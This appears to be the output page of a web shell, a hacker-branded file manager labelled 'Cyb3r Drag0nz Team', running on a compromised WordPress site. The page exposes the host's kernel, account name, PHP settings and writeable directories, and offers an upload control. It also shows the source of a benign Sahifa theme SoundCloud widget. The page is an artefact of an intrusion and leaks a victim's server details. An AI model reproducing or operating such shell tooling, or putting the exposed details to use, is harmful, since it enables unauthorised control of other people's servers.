Server :
Apache
System :
Linux webd003.cluster126.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User :
atwiofrxug (73666)
PHP Version :
8.4.10
Disable Functions :
_dyuweyrj4,_dyuweyrj4r,dl
Current Directory :
/home/atwiofrxug/mylittletelaviv/wp-content/themes/sahifa/framework/widgets/
Directory Status:
Writeable | Document Root:
Writeable
Upload File
Viewing: /home/atwiofrxug/mylittletelaviv/wp-content/themes/sahifa/framework/widgets/widget-soundcloud.php
<?php
add_action( 'widgets_init', 'tie_soundcloud_widget' );
function tie_soundcloud_widget() {
register_widget( 'tie_soundcloud' );
}
class tie_soundcloud extends WP_Widget {
public function __construct(){
$widget_ops = array( 'classname' => 'tie-soundcloud' );
$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'tie-soundcloud-widget' );
parent::__construct( 'tie-soundcloud-widget', THEME_NAME .' - '.__( 'SoundCloud' , 'tie') , $widget_ops, $control_ops );
}
public function widget( $args, $instance ) {
extract( $args );
$title = apply_filters('widget_title', $instance['title'] );
$url = $instance['url'];
$autoplay = $instance['autoplay'];
$visual_style = $instance['visual_style'];
$play = $visual = 'false';
if( !empty( $autoplay )) $play = 'true';
if( !empty( $visual_style )) $visual = 'true';
echo $before_widget;
echo $before_title;
echo $title;
echo $after_title;
echo tie_soundcloud( $url, $play, $visual );
echo $after_widget;
}
public function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['title'] = strip_tags( $new_instance['title'] );
$instance['url'] = $new_instance['url'] ;
$instance['autoplay'] = strip_tags( $new_instance['autoplay'] );
$instance['visual_style'] = strip_tags( $new_instance['visual_style'] );
return $instance;
}
public function form( $instance ) {
$defaults = array( 'title' => 'SoundCloud' );
$instance = wp_parse_args( (array) $instance, $defaults ); ?>
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' , 'tie') ?></label>
<input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php if( !empty($instance['title']) ) echo $instance['title']; ?>" class="widefat" type="text" />
</p>
<p>
<label for="<?php echo $this->get_field_id( 'url' ); ?>"><?php _e( 'URL:' , 'tie') ?></label>
<input id="<?php echo $this->get_field_id( 'url' ); ?>" name="<?php echo $this->get_field_name( 'url' ); ?>" value="<?php if( !empty($instance['url']) ) echo $instance['url']; ?>" type="text" class="widefat" />
</p>
<p>
<label for="<?php echo $this->get_field_id( 'autoplay' ); ?>"><?php _e( 'Autoplay' , 'tie') ?></label>
<input id="<?php echo $this->get_field_id( 'autoplay' ); ?>" name="<?php echo $this->get_field_name( 'autoplay' ); ?>" value="true" <?php if( !empty( $instance['autoplay'] ) ) echo 'checked="checked"'; ?> type="checkbox" />
</p>
<p>
<label for="<?php echo $this->get_field_id( 'visual_style' ); ?>"><?php _e( 'Visual Style' , 'tie') ?></label>
<input id="<?php echo $this->get_field_id( 'visual_style' ); ?>" name="<?php echo $this->get_field_name( 'visual_style' ); ?>" value="true" <?php if( !empty( $instance['visual_style'] ) ) echo 'checked="checked"'; ?> type="checkbox" />
</p>
<?php
}
}
?>
Cyb3r Drag0nz Team • Google Edition